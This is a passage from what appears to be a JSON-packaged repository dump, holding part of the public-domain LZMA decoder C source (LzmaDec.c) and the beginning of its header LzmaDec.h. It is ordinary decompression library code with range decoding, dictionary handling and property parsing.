        processedPos++;\r\n            state = state < kNumLitStates ? 9 : 11;\r\n            continue;\r\n          }\r\n          UPDATE_1(prob);\r\n        }\r\n        else\r\n        {\r\n          UInt32 distance;\r\n          UPDATE_1(prob);\r\n          prob = probs + IsRepG1 + state;\r\n          IF_BIT_0(prob)\r\n          {\r\n            UPDATE_0(prob);\r\n            distance = rep1;\r\n          }\r\n          else\r\n          {\r\n            UPDATE_1(prob);\r\n            prob = probs + IsRepG2 + state;\r\n            IF_BIT_0(prob)\r\n            {\r\n              UPDATE_0(prob);\r\n              distance = rep2;\r\n            }\r\n            else\r\n            {\r\n              UPDATE_1(prob);\r\n              distance = rep3;\r\n              rep3 = rep2;\r\n            }\r\n            rep2 = rep1;\r\n          }\r\n          rep1 = rep0;\r\n          rep0 = distance;\r\n        }\r\n        state = state < kNumLitStates ? 8 : 11;\r\n        prob = probs + RepLenCoder;\r\n      }\r\n      \r\n      #ifdef _LZMA_SIZE_OPT\r\n      {\r\n        unsigned lim, offset;\r\n        CLzmaProb *probLen = prob + LenChoice;\r\n        IF_BIT_0(probLen)\r\n        {\r\n          UPDATE_0(probLen);\r\n          probLen = prob + LenLow + (posState << kLenNumLowBits);\r\n          offset = 0;\r\n          lim = (1 << kLenNumLowBits);\r\n        }\r\n        else\r\n        {\r\n          UPDATE_1(probLen);\r\n          probLen = prob + LenChoice2;\r\n          IF_BIT_0(probLen)\r\n          {\r\n            UPDATE_0(probLen);\r\n            probLen = prob + LenMid + (posState << kLenNumMidBits);\r\n            offset = kLenNumLowSymbols;\r\n            lim = (1 << kLenNumMidBits);\r\n          }\r\n          else\r\n          {\r\n            UPDATE_1(probLen);\r\n            probLen = prob + LenHigh;\r\n            offset = kLenNumLowSymbols + kLenNumMidSymbols;\r\n            lim = (1 << kLenNumHighBits);\r\n          }\r\n        }\r\n        TREE_DECODE(probLen, lim, len);\r\n        len += offset;\r\n      }\r\n      #else\r\n      {\r\n        CLzmaProb *probLen = prob + LenChoice;\r\n        IF_BIT_0(probLen)\r\n        {\r\n          UPDATE_0(probLen);\r\n          probLen = prob + LenLow + (posState << kLenNumLowBits);\r\n          len = 1;\r\n          TREE_GET_BIT(probLen, len);\r\n          TREE_GET_BIT(probLen, len);\r\n          TREE_GET_BIT(probLen, len);\r\n          len -= 8;\r\n        }\r\n        else\r\n        {\r\n          UPDATE_1(probLen);\r\n          probLen = prob + LenChoice2;\r\n          IF_BIT_0(probLen)\r\n          {\r\n            UPDATE_0(probLen);\r\n            probLen = prob + LenMid + (posState << kLenNumMidBits);\r\n            len = 1;\r\n            TREE_GET_BIT(probLen, len);\r\n            TREE_GET_BIT(probLen, len);\r\n            TREE_GET_BIT(probLen, len);\r\n          }\r\n          else\r\n          {\r\n            UPDATE_1(probLen);\r\n            probLen = prob + LenHigh;\r\n            TREE_DECODE(probLen, (1 << kLenNumHighBits), len);\r\n            len += kLenNumLowSymbols + kLenNumMidSymbols;\r\n          }\r\n        }\r\n      }\r\n      #endif\r\n\r\n      if (state >= kNumStates)\r\n      {\r\n        UInt32 distance;\r\n        prob = probs + PosSlot +\r\n            ((len < kNumLenToPosStates ? len : kNumLenToPosStates - 1) << kNumPosSlotBits);\r\n        TREE_6_DECODE(prob, distance);\r\n        if (distance >= kStartPosModelIndex)\r\n        {\r\n          unsigned posSlot = (unsigned)distance;\r\n          unsigned numDirectBits = (unsigned)(((distance >> 1) - 1));\r\n          distance = (2 | (distance & 1));\r\n          if (posSlot < kEndPosModelIndex)\r\n          {\r\n            distance <<= numDirectBits;\r\n            prob = probs + SpecPos + distance - posSlot - 1;\r\n            {\r\n              UInt32 mask = 1;\r\n              unsigned i = 1;\r\n              do\r\n              {\r\n                GET_BIT2(prob + i, i, ; , distance |= mask);\r\n                mask <<= 1;\r\n              }\r\n              while (--numDirectBits != 0);\r\n            }\r\n          }\r\n          else\r\n          {\r\n            numDirectBits -= kNumAlignBits;\r\n            do\r\n            {\r\n              NORMALIZE\r\n              range >>= 1;\r\n              \r\n              {\r\n                UInt32 t;\r\n                code -= range;\r\n                t = (0 - ((UInt32)code >> 31)); /* (UInt32)((Int32)code >> 31) */\r\n                distance = (distance << 1) + (t + 1);\r\n                code += range & t;\r\n              }\r\n              /*\r\n              distance <<= 1;\r\n              if (code >= range)\r\n              {\r\n                code -= range;\r\n                distance |= 1;\r\n              }\r\n              */\r\n            }\r\n            while (--numDirectBits != 0);\r\n            prob = probs + Align;\r\n            distance <<= kNumAlignBits;\r\n            {\r\n              unsigned i = 1;\r\n              GET_BIT2(prob + i, i, ; , distance |= 1);\r\n              GET_BIT2(prob + i, i, ; , distance |= 2);\r\n              GET_BIT2(prob + i, i, ; , distance |= 4);\r\n              GET_BIT2(prob + i, i, ; , distance |= 8);\r\n            }\r\n            if (distance == (UInt32)0xFFFFFFFF)\r\n            {\r\n              len += kMatchSpecLenStart;\r\n              state -= kNumStates;\r\n              break;\r\n            }\r\n          }\r\n        }\r\n        \r\n        rep3 = rep2;\r\n        rep2 = rep1;\r\n        rep1 = rep0;\r\n        rep0 = distance + 1;\r\n        if (checkDicSize == 0)\r\n        {\r\n          if (distance >= processedPos)\r\n          {\r\n            p->dicPos = dicPos;\r\n            return SZ_ERROR_DATA;\r\n          }\r\n        }\r\n        else if (distance >= checkDicSize)\r\n        {\r\n          p->dicPos = dicPos;\r\n          return SZ_ERROR_DATA;\r\n        }\r\n        state = (state < kNumStates + kNumLitStates) ? kNumLitStates : kNumLitStates + 3;\r\n      }\r\n\r\n      len += kMatchMinLen;\r\n\r\n      {\r\n        SizeT rem;\r\n        unsigned curLen;\r\n        SizeT pos;\r\n        \r\n        if ((rem = limit - dicPos) == 0)\r\n        {\r\n          p->dicPos = dicPos;\r\n          return SZ_ERROR_DATA;\r\n        }\r\n        \r\n        curLen = ((rem < len) ? (unsigned)rem : len);\r\n        pos = dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0);\r\n\r\n        processedPos += curLen;\r\n\r\n        len -= curLen;\r\n        if (curLen <= dicBufSize - pos)\r\n        {\r\n          Byte *dest = dic + dicPos;\r\n          ptrdiff_t src = (ptrdiff_t)pos - (ptrdiff_t)dicPos;\r\n          const Byte *lim = dest + curLen;\r\n          dicPos += curLen;\r\n          do\r\n            *(dest) = (Byte)*(dest + src);\r\n          while (++dest != lim);\r\n        }\r\n        else\r\n        {\r\n          do\r\n          {\r\n            dic[dicPos++] = dic[pos];\r\n            if (++pos == dicBufSize)\r\n              pos = 0;\r\n          }\r\n          while (--curLen != 0);\r\n        }\r\n      }\r\n    }\r\n  }\r\n  while (dicPos < limit && buf < bufLimit);\r\n\r\n  NORMALIZE;\r\n  \r\n  p->buf = buf;\r\n  p->range = range;\r\n  p->code = code;\r\n  p->remainLen = len;\r\n  p->dicPos = dicPos;\r\n  p->processedPos = processedPos;\r\n  p->reps[0] = rep0;\r\n  p->reps[1] = rep1;\r\n  p->reps[2] = rep2;\r\n  p->reps[3] = rep3;\r\n  p->state = state;\r\n\r\n  return SZ_OK;\r\n}\r\n\r\nstatic void MY_FAST_CALL LzmaDec_WriteRem(CLzmaDec *p, SizeT limit)\r\n{\r\n  if (p->remainLen != 0 && p->remainLen < kMatchSpecLenStart)\r\n  {\r\n    Byte *dic = p->dic;\r\n    SizeT dicPos = p->dicPos;\r\n    SizeT dicBufSize = p->dicBufSize;\r\n    unsigned len = p->remainLen;\r\n    SizeT rep0 = p->reps[0]; /* we use SizeT to avoid the BUG of VC14 for AMD64 */\r\n    SizeT rem = limit - dicPos;\r\n    if (rem < len)\r\n      len = (unsigned)(rem);\r\n\r\n    if (p->checkDicSize == 0 && p->prop.dicSize - p->processedPos <= len)\r\n      p->checkDicSize = p->prop.dicSize;\r\n\r\n    p->processedPos += len;\r\n    p->remainLen -= len;\r\n    while (len != 0)\r\n    {\r\n      len--;\r\n      dic[dicPos] = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)];\r\n      dicPos++;\r\n    }\r\n    p->dicPos = dicPos;\r\n  }\r\n}\r\n\r\nstatic int MY_FAST_CALL LzmaDec_DecodeReal2(CLzmaDec *p, SizeT limit, const Byte *bufLimit)\r\n{\r\n  do\r\n  {\r\n    SizeT limit2 = limit;\r\n    if (p->checkDicSize == 0)\r\n    {\r\n      UInt32 rem = p->prop.dicSize - p->processedPos;\r\n      if (limit - p->dicPos > rem)\r\n        limit2 = p->dicPos + rem;\r\n    }\r\n    \r\n    RINOK(LzmaDec_DecodeReal(p, limit2, bufLimit));\r\n    \r\n    if (p->checkDicSize == 0 && p->processedPos >= p->prop.dicSize)\r\n      p->checkDicSize = p->prop.dicSize;\r\n    \r\n    LzmaDec_WriteRem(p, limit);\r\n  }\r\n  while (p->dicPos < limit && p->buf < bufLimit && p->remainLen < kMatchSpecLenStart);\r\n\r\n  if (p->remainLen > kMatchSpecLenStart)\r\n    p->remainLen = kMatchSpecLenStart;\r\n\r\n  return 0;\r\n}\r\n\r\ntypedef enum\r\n{\r\n  DUMMY_ERROR, /* unexpected end of input stream */\r\n  DUMMY_LIT,\r\n  DUMMY_MATCH,\r\n  DUMMY_REP\r\n} ELzmaDummy;\r\n\r\nstatic ELzmaDummy LzmaDec_TryDummy(const CLzmaDec *p, const Byte *buf, SizeT inSize)\r\n{\r\n  UInt32 range = p->range;\r\n  UInt32 code = p->code;\r\n  const Byte *bufLimit = buf + inSize;\r\n  const CLzmaProb *probs = p->probs;\r\n  unsigned state = p->state;\r\n  ELzmaDummy res;\r\n\r\n  {\r\n    const CLzmaProb *prob;\r\n    UInt32 bound;\r\n    unsigned ttt;\r\n    unsigned posState = (p->processedPos) & ((1 << p->prop.pb) - 1);\r\n\r\n    prob = probs + IsMatch + (state << kNumPosBitsMax) + posState;\r\n    IF_BIT_0_CHECK(prob)\r\n    {\r\n      UPDATE_0_CHECK\r\n\r\n      /* if (bufLimit - buf >= 7) return DUMMY_LIT; */\r\n\r\n      prob = probs + Literal;\r\n      if (p->checkDicSize != 0 || p->processedPos != 0)\r\n        prob += ((UInt32)LZMA_LIT_SIZE *\r\n            ((((p->processedPos) & ((1 << (p->prop.lp)) - 1)) << p->prop.lc) +\r\n            (p->dic[(p->dicPos == 0 ? p->dicBufSize : p->dicPos) - 1] >> (8 - p->prop.lc))));\r\n\r\n      if (state < kNumLitStates)\r\n      {\r\n        unsigned symbol = 1;\r\n        do { GET_BIT_CHECK(prob + symbol, symbol) } while (symbol < 0x100);\r\n      }\r\n      else\r\n      {\r\n        unsigned matchByte = p->dic[p->dicPos - p->reps[0] +\r\n            (p->dicPos < p->reps[0] ? p->dicBufSize : 0)];\r\n        unsigned offs = 0x100;\r\n        unsigned symbol = 1;\r\n        do\r\n        {\r\n          unsigned bit;\r\n          const CLzmaProb *probLit;\r\n          matchByte <<= 1;\r\n          bit = (matchByte & offs);\r\n          probLit = prob + offs + bit + symbol;\r\n          GET_BIT2_CHECK(probLit, symbol, offs &= ~bit, offs &= bit)\r\n        }\r\n        while (symbol < 0x100);\r\n      }\r\n      res = DUMMY_LIT;\r\n    }\r\n    else\r\n    {\r\n      unsigned len;\r\n      UPDATE_1_CHECK;\r\n\r\n      prob = probs + IsRep + state;\r\n      IF_BIT_0_CHECK(prob)\r\n      {\r\n        UPDATE_0_CHECK;\r\n        state = 0;\r\n        prob = probs + LenCoder;\r\n        res = DUMMY_MATCH;\r\n      }\r\n      else\r\n      {\r\n        UPDATE_1_CHECK;\r\n        res = DUMMY_REP;\r\n        prob = probs + IsRepG0 + state;\r\n        IF_BIT_0_CHECK(prob)\r\n        {\r\n          UPDATE_0_CHECK;\r\n          prob = probs + IsRep0Long + (state << kNumPosBitsMax) + posState;\r\n          IF_BIT_0_CHECK(prob)\r\n          {\r\n            UPDATE_0_CHECK;\r\n            NORMALIZE_CHECK;\r\n            return DUMMY_REP;\r\n          }\r\n          else\r\n          {\r\n            UPDATE_1_CHECK;\r\n          }\r\n        }\r\n        else\r\n        {\r\n          UPDATE_1_CHECK;\r\n          prob = probs + IsRepG1 + state;\r\n          IF_BIT_0_CHECK(prob)\r\n          {\r\n            UPDATE_0_CHECK;\r\n          }\r\n          else\r\n          {\r\n            UPDATE_1_CHECK;\r\n            prob = probs + IsRepG2 + state;\r\n            IF_BIT_0_CHECK(prob)\r\n            {\r\n              UPDATE_0_CHECK;\r\n            }\r\n            else\r\n            {\r\n              UPDATE_1_CHECK;\r\n            }\r\n          }\r\n        }\r\n        state = kNumStates;\r\n        prob = probs + RepLenCoder;\r\n      }\r\n      {\r\n        unsigned limit, offset;\r\n        const CLzmaProb *probLen = prob + LenChoice;\r\n        IF_BIT_0_CHECK(probLen)\r\n        {\r\n          UPDATE_0_CHECK;\r\n          probLen = prob + LenLow + (posState << kLenNumLowBits);\r\n          offset = 0;\r\n          limit = 1 << kLenNumLowBits;\r\n        }\r\n        else\r\n        {\r\n          UPDATE_1_CHECK;\r\n          probLen = prob + LenChoice2;\r\n          IF_BIT_0_CHECK(probLen)\r\n          {\r\n            UPDATE_0_CHECK;\r\n            probLen = prob + LenMid + (posState << kLenNumMidBits);\r\n            offset = kLenNumLowSymbols;\r\n            limit = 1 << kLenNumMidBits;\r\n          }\r\n          else\r\n          {\r\n            UPDATE_1_CHECK;\r\n            probLen = prob + LenHigh;\r\n            offset = kLenNumLowSymbols + kLenNumMidSymbols;\r\n            limit = 1 << kLenNumHighBits;\r\n          }\r\n        }\r\n        TREE_DECODE_CHECK(probLen, limit, len);\r\n        len += offset;\r\n      }\r\n\r\n      if (state < 4)\r\n      {\r\n        unsigned posSlot;\r\n        prob = probs + PosSlot +\r\n            ((len < kNumLenToPosStates ? len : kNumLenToPosStates - 1) <<\r\n            kNumPosSlotBits);\r\n        TREE_DECODE_CHECK(prob, 1 << kNumPosSlotBits, posSlot);\r\n        if (posSlot >= kStartPosModelIndex)\r\n        {\r\n          unsigned numDirectBits = ((posSlot >> 1) - 1);\r\n\r\n          /* if (bufLimit - buf >= 8) return DUMMY_MATCH; */\r\n\r\n          if (posSlot < kEndPosModelIndex)\r\n          {\r\n            prob = probs + SpecPos + ((2 | (posSlot & 1)) << numDirectBits) - posSlot - 1;\r\n          }\r\n          else\r\n          {\r\n            numDirectBits -= kNumAlignBits;\r\n            do\r\n            {\r\n              NORMALIZE_CHECK\r\n              range >>= 1;\r\n              code -= range & (((code - range) >> 31) - 1);\r\n              /* if (code >= range) code -= range; */\r\n            }\r\n            while (--numDirectBits != 0);\r\n            prob = probs + Align;\r\n            numDirectBits = kNumAlignBits;\r\n          }\r\n          {\r\n            unsigned i = 1;\r\n            do\r\n            {\r\n              GET_BIT_CHECK(prob + i, i);\r\n            }\r\n            while (--numDirectBits != 0);\r\n          }\r\n        }\r\n      }\r\n    }\r\n  }\r\n  NORMALIZE_CHECK;\r\n  return res;\r\n}\r\n\r\n\r\nvoid LzmaDec_InitDicAndState(CLzmaDec *p, Bool initDic, Bool initState)\r\n{\r\n  p->needFlush = 1;\r\n  p->remainLen = 0;\r\n  p->tempBufSize = 0;\r\n\r\n  if (initDic)\r\n  {\r\n    p->processedPos = 0;\r\n    p->checkDicSize = 0;\r\n    p->needInitState = 1;\r\n  }\r\n  if (initState)\r\n    p->needInitState = 1;\r\n}\r\n\r\nvoid LzmaDec_Init(CLzmaDec *p)\r\n{\r\n  p->dicPos = 0;\r\n  LzmaDec_InitDicAndState(p, True, True);\r\n}\r\n\r\nstatic void LzmaDec_InitStateReal(CLzmaDec *p)\r\n{\r\n  SizeT numProbs = LzmaProps_GetNumProbs(&p->prop);\r\n  SizeT i;\r\n  CLzmaProb *probs = p->probs;\r\n  for (i = 0; i < numProbs; i++)\r\n    probs[i] = kBitModelTotal >> 1;\r\n  p->reps[0] = p->reps[1] = p->reps[2] = p->reps[3] = 1;\r\n  p->state = 0;\r\n  p->needInitState = 0;\r\n}\r\n\r\nSRes LzmaDec_DecodeToDic(CLzmaDec *p, SizeT dicLimit, const Byte *src, SizeT *srcLen,\r\n    ELzmaFinishMode finishMode, ELzmaStatus *status)\r\n{\r\n  SizeT inSize = *srcLen;\r\n  (*srcLen) = 0;\r\n  LzmaDec_WriteRem(p, dicLimit);\r\n  \r\n  *status = LZMA_STATUS_NOT_SPECIFIED;\r\n\r\n  while (p->remainLen != kMatchSpecLenStart)\r\n  {\r\n      int checkEndMarkNow;\r\n\r\n      if (p->needFlush)\r\n      {\r\n        for (; inSize > 0 && p->tempBufSize < RC_INIT_SIZE; (*srcLen)++, inSize--)\r\n          p->tempBuf[p->tempBufSize++] = *src++;\r\n        if (p->tempBufSize < RC_INIT_SIZE)\r\n        {\r\n          *status = LZMA_STATUS_NEEDS_MORE_INPUT;\r\n          return SZ_OK;\r\n        }\r\n        if (p->tempBuf[0] != 0)\r\n          return SZ_ERROR_DATA;\r\n        p->code =\r\n              ((UInt32)p->tempBuf[1] << 24)\r\n            | ((UInt32)p->tempBuf[2] << 16)\r\n            | ((UInt32)p->tempBuf[3] << 8)\r\n            | ((UInt32)p->tempBuf[4]);\r\n        p->range = 0xFFFFFFFF;\r\n        p->needFlush = 0;\r\n        p->tempBufSize = 0;\r\n      }\r\n\r\n      checkEndMarkNow = 0;\r\n      if (p->dicPos >= dicLimit)\r\n      {\r\n        if (p->remainLen == 0 && p->code == 0)\r\n        {\r\n          *status = LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK;\r\n          return SZ_OK;\r\n        }\r\n        if (finishMode == LZMA_FINISH_ANY)\r\n        {\r\n          *status = LZMA_STATUS_NOT_FINISHED;\r\n          return SZ_OK;\r\n        }\r\n        if (p->remainLen != 0)\r\n        {\r\n          *status = LZMA_STATUS_NOT_FINISHED;\r\n          return SZ_ERROR_DATA;\r\n        }\r\n        checkEndMarkNow = 1;\r\n      }\r\n\r\n      if (p->needInitState)\r\n        LzmaDec_InitStateReal(p);\r\n  \r\n      if (p->tempBufSize == 0)\r\n      {\r\n        SizeT processed;\r\n        const Byte *bufLimit;\r\n        if (inSize < LZMA_REQUIRED_INPUT_MAX || checkEndMarkNow)\r\n        {\r\n          int dummyRes = LzmaDec_TryDummy(p, src, inSize);\r\n          if (dummyRes == DUMMY_ERROR)\r\n          {\r\n            memcpy(p->tempBuf, src, inSize);\r\n            p->tempBufSize = (unsigned)inSize;\r\n            (*srcLen) += inSize;\r\n            *status = LZMA_STATUS_NEEDS_MORE_INPUT;\r\n            return SZ_OK;\r\n          }\r\n          if (checkEndMarkNow && dummyRes != DUMMY_MATCH)\r\n          {\r\n            *status = LZMA_STATUS_NOT_FINISHED;\r\n            return SZ_ERROR_DATA;\r\n          }\r\n          bufLimit = src;\r\n        }\r\n        else\r\n          bufLimit = src + inSize - LZMA_REQUIRED_INPUT_MAX;\r\n        p->buf = src;\r\n        if (LzmaDec_DecodeReal2(p, dicLimit, bufLimit) != 0)\r\n          return SZ_ERROR_DATA;\r\n        processed = (SizeT)(p->buf - src);\r\n        (*srcLen) += processed;\r\n        src += processed;\r\n        inSize -= processed;\r\n      }\r\n      else\r\n      {\r\n        unsigned rem = p->tempBufSize, lookAhead = 0;\r\n        while (rem < LZMA_REQUIRED_INPUT_MAX && lookAhead < inSize)\r\n          p->tempBuf[rem++] = src[lookAhead++];\r\n        p->tempBufSize = rem;\r\n        if (rem < LZMA_REQUIRED_INPUT_MAX || checkEndMarkNow)\r\n        {\r\n          int dummyRes = LzmaDec_TryDummy(p, p->tempBuf, rem);\r\n          if (dummyRes == DUMMY_ERROR)\r\n          {\r\n            (*srcLen) += lookAhead;\r\n            *status = LZMA_STATUS_NEEDS_MORE_INPUT;\r\n            return SZ_OK;\r\n          }\r\n          if (checkEndMarkNow && dummyRes != DUMMY_MATCH)\r\n          {\r\n            *status = LZMA_STATUS_NOT_FINISHED;\r\n            return SZ_ERROR_DATA;\r\n          }\r\n        }\r\n        p->buf = p->tempBuf;\r\n        if (LzmaDec_DecodeReal2(p, dicLimit, p->buf) != 0)\r\n          return SZ_ERROR_DATA;\r\n        \r\n        {\r\n          unsigned kkk = (unsigned)(p->buf - p->tempBuf);\r\n          if (rem < kkk)\r\n            return SZ_ERROR_FAIL; /* some internal error */\r\n          rem -= kkk;\r\n          if (lookAhead < rem)\r\n            return SZ_ERROR_FAIL; /* some internal error */\r\n          lookAhead -= rem;\r\n        }\r\n        (*srcLen) += lookAhead;\r\n        src += lookAhead;\r\n        inSize -= lookAhead;\r\n        p->tempBufSize = 0;\r\n      }\r\n  }\r\n  if (p->code == 0)\r\n    *status = LZMA_STATUS_FINISHED_WITH_MARK;\r\n  return (p->code == 0) ? SZ_OK : SZ_ERROR_DATA;\r\n}\r\n\r\nSRes LzmaDec_DecodeToBuf(CLzmaDec *p, Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status)\r\n{\r\n  SizeT outSize = *destLen;\r\n  SizeT inSize = *srcLen;\r\n  *srcLen = *destLen = 0;\r\n  for (;;)\r\n  {\r\n    SizeT inSizeCur = inSize, outSizeCur, dicPos;\r\n    ELzmaFinishMode curFinishMode;\r\n    SRes res;\r\n    if (p->dicPos == p->dicBufSize)\r\n      p->dicPos = 0;\r\n    dicPos = p->dicPos;\r\n    if (outSize > p->dicBufSize - dicPos)\r\n    {\r\n      outSizeCur = p->dicBufSize;\r\n      curFinishMode = LZMA_FINISH_ANY;\r\n    }\r\n    else\r\n    {\r\n      outSizeCur = dicPos + outSize;\r\n      curFinishMode = finishMode;\r\n    }\r\n\r\n    res = LzmaDec_DecodeToDic(p, outSizeCur, src, &inSizeCur, curFinishMode, status);\r\n    src += inSizeCur;\r\n    inSize -= inSizeCur;\r\n    *srcLen += inSizeCur;\r\n    outSizeCur = p->dicPos - dicPos;\r\n    memcpy(dest, p->dic + dicPos, outSizeCur);\r\n    dest += outSizeCur;\r\n    outSize -= outSizeCur;\r\n    *destLen += outSizeCur;\r\n    if (res != 0)\r\n      return res;\r\n    if (outSizeCur == 0 || outSize == 0)\r\n      return SZ_OK;\r\n  }\r\n}\r\n\r\nvoid LzmaDec_FreeProbs(CLzmaDec *p, ISzAlloc *alloc)\r\n{\r\n  alloc->Free(alloc, p->probs);\r\n  p->probs = NULL;\r\n}\r\n\r\nstatic void LzmaDec_FreeDict(CLzmaDec *p, ISzAlloc *alloc)\r\n{\r\n  alloc->Free(alloc, p->dic);\r\n  p->dic = NULL;\r\n}\r\n\r\nvoid LzmaDec_Free(CLzmaDec *p, ISzAlloc *alloc)\r\n{\r\n  LzmaDec_FreeProbs(p, alloc);\r\n  LzmaDec_FreeDict(p, alloc);\r\n}\r\n\r\nSRes LzmaProps_Decode(CLzmaProps *p, const Byte *data, unsigned size)\r\n{\r\n  UInt32 dicSize;\r\n  Byte d;\r\n  \r\n  if (size < LZMA_PROPS_SIZE)\r\n    return SZ_ERROR_UNSUPPORTED;\r\n  else\r\n    dicSize = data[1] | ((UInt32)data[2] << 8) | ((UInt32)data[3] << 16) | ((UInt32)data[4] << 24);\r\n \r\n  if (dicSize < LZMA_DIC_MIN)\r\n    dicSize = LZMA_DIC_MIN;\r\n  p->dicSize = dicSize;\r\n\r\n  d = data[0];\r\n  if (d >= (9 * 5 * 5))\r\n    return SZ_ERROR_UNSUPPORTED;\r\n\r\n  p->lc = d % 9;\r\n  d /= 9;\r\n  p->pb = d / 5;\r\n  p->lp = d % 5;\r\n\r\n  return SZ_OK;\r\n}\r\n\r\nstatic SRes LzmaDec_AllocateProbs2(CLzmaDec *p, const CLzmaProps *propNew, ISzAlloc *alloc)\r\n{\r\n  UInt32 numProbs = LzmaProps_GetNumProbs(propNew);\r\n  if (!p->probs || numProbs != p->numProbs)\r\n  {\r\n    LzmaDec_FreeProbs(p, alloc);\r\n    p->probs = (CLzmaProb *)alloc->Alloc(alloc, numProbs * sizeof(CLzmaProb));\r\n    p->numProbs = numProbs;\r\n    if (!p->probs)\r\n      return SZ_ERROR_MEM;\r\n  }\r\n  return SZ_OK;\r\n}\r\n\r\nSRes LzmaDec_AllocateProbs(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc)\r\n{\r\n  CLzmaProps propNew;\r\n  RINOK(LzmaProps_Decode(&propNew, props, propsSize));\r\n  RINOK(LzmaDec_AllocateProbs2(p, &propNew, alloc));\r\n  p->prop = propNew;\r\n  return SZ_OK;\r\n}\r\n\r\nSRes LzmaDec_Allocate(CLzmaDec *p, const Byte *props, unsigned propsSize, ISzAlloc *alloc)\r\n{\r\n  CLzmaProps propNew;\r\n  SizeT dicBufSize;\r\n  RINOK(LzmaProps_Decode(&propNew, props, propsSize));\r\n  RINOK(LzmaDec_AllocateProbs2(p, &propNew, alloc));\r\n\r\n  {\r\n    UInt32 dictSize = propNew.dicSize;\r\n    SizeT mask = ((UInt32)1 << 12) - 1;\r\n         if (dictSize >= ((UInt32)1 << 30)) mask = ((UInt32)1 << 22) - 1;\r\n    else if (dictSize >= ((UInt32)1 << 22)) mask = ((UInt32)1 << 20) - 1;;\r\n    dicBufSize = ((SizeT)dictSize + mask) & ~mask;\r\n    if (dicBufSize < dictSize)\r\n      dicBufSize = dictSize;\r\n  }\r\n\r\n  if (!p->dic || dicBufSize != p->dicBufSize)\r\n  {\r\n    LzmaDec_FreeDict(p, alloc);\r\n    p->dic = (Byte *)alloc->Alloc(alloc, dicBufSize);\r\n    if (!p->dic)\r\n    {\r\n      LzmaDec_FreeProbs(p, alloc);\r\n      return SZ_ERROR_MEM;\r\n    }\r\n  }\r\n  p->dicBufSize = dicBufSize;\r\n  p->prop = propNew;\r\n  return SZ_OK;\r\n}\r\n\r\nSRes LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen,\r\n    const Byte *propData, unsigned propSize, ELzmaFinishMode finishMode,\r\n    ELzmaStatus *status, ISzAlloc *alloc)\r\n{\r\n  CLzmaDec p;\r\n  SRes res;\r\n  SizeT outSize = *destLen, inSize = *srcLen;\r\n  *destLen = *srcLen = 0;\r\n  *status = LZMA_STATUS_NOT_SPECIFIED;\r\n  if (inSize < RC_INIT_SIZE)\r\n    return SZ_ERROR_INPUT_EOF;\r\n  LzmaDec_Construct(&p);\r\n  RINOK(LzmaDec_AllocateProbs(&p, propData, propSize, alloc));\r\n  p.dic = dest;\r\n  p.dicBufSize = outSize;\r\n  LzmaDec_Init(&p);\r\n  *srcLen = inSize;\r\n  res = LzmaDec_DecodeToDic(&p, outSize, src, srcLen, finishMode, status);\r\n  *destLen = p.dicPos;\r\n  if (res == SZ_OK && *status == LZMA_STATUS_NEEDS_MORE_INPUT)\r\n    res = SZ_ERROR_INPUT_EOF;\r\n  LzmaDec_FreeProbs(&p, alloc);\r\n  return res;\r\n}\r\n"
  },
  {
    "path": "client/common/LzmaDec.h",
    "content": "/* LzmaDec.h -- LZMA Decoder\n2013-01-18 : Igor Pavlov : Public domain */\n\n#ifndef __LZMA_DEC_H\n#define __LZMA_DEC_H\n\n#include \"7zTypes.h\"\n\nEXTERN_C_BEGIN\n\n/* #define _LZMA_PROB32 */\n/* _LZMA_PROB32 can increase the speed on some CPUs,\n   but memory usage for CLzmaDec::probs will be doubled in that case */\n\n#ifdef _LZMA_PROB32\n#define CLzmaProb UInt32\n#else\n#define CLzmaProb UInt16\n#endif\n\n\n/* ---------- LZMA Properties ---------- */\n\n#define LZMA_PROPS_SIZE 5\n\ntypedef struct _CLzmaProps\n{\n  unsigned lc, lp, pb;\n  UInt32 dicSize;\n} CLzmaProps;\n\n/* LzmaProps_Decode - decodes properties\nReturns:\n  SZ_OK\n  SZ_ERROR_UNSUPPORTED - Unsupported properties\n*/\n\nSRes LzmaProps_Decode(CLzmaProps *p, const Byte *data, unsigned size);\n\n\n/* ---------- LZMA Decoder state ---------- */\n\n/* LZMA_REQUIRED_INPUT_MAX = number of required input bytes for worst case.\n   Num bits = log2((2^11 / 31) ^ 22) + 26 < 134 + 26 = 160; */\n\n#define LZMA_REQUIRED_INPUT_MAX 20\n\ntypedef struct\n{\n  CLzmaProps prop;\n  CLzmaProb *probs;\n  Byte *dic;\n  const Byte *buf;\n  UInt32 range, code;\n  SizeT dicPos;\n  SizeT dicBufSize;\n  UInt32 processedPos;\n  UInt32 checkDicSize;\n  unsigned state;\n  UInt32 reps[4];\n  unsigned remainLen;\n  int needFlush;\n  int needInitState;\n  UInt32 numProbs;\n  unsigned tempBufSize;\n  Byte tempBuf[LZMA_REQUIRED_INPUT_MAX];\n} CLzmaDec;\n\n#define LzmaDec_Construct(p) { (p)->dic = 0; (p)->probs = 0; }\n\nvoid LzmaDec_Init(CLzmaDec *p);\n\n/* There are two types of LZMA streams:\n     0) Stream with end mark. That end mark adds about 6 bytes to compressed size.\n     1) Stream without end mark. You must know exact uncompressed size to decompress such stream. */\n\ntypedef enum\n{\n  LZMA_FINISH_ANY,   /* finish at any point */\n  LZMA_FINISH_END    /* block must be finished at the end */\n} ELzmaFinishMode;\n\n/* ELzmaFinishMode has meaning only if the decoding reaches output limit !!!\n\n   You must use LZMA_FINISH_END, when you know that current output buffer\n   covers last bytes of block. In other cases you must use LZMA_FINISH_ANY.\n\n   If LZMA decoder sees end marker before reaching output limit, it returns SZ_OK,\n   and output value of destLen will be less than output buffer size limit.\n   You can check status result also.\n\n   You can use multiple checks to test data integrity after full decompression:\n     1) Check Result and \"status\" variable.\n     2) Check that output(destLen) = uncompressedSize, if you know real uncompressedSize.\n     3) Check that output(srcLen) = compressedSize, if you know real compressedSize.\n        You must use correct finish mode in that case. */\n\ntypedef enum\n{\n  LZMA_STATUS_NOT_SPECIFIED,               /* use main error code instead */\n  LZMA_STATUS_FINISHED_WITH_MARK,          /* stream was finished with end mark. */\n  LZMA_STATUS_NOT_FINISHED,                /* stream was not finished */\n  LZMA_STATUS_NEEDS_MORE_INPUT,            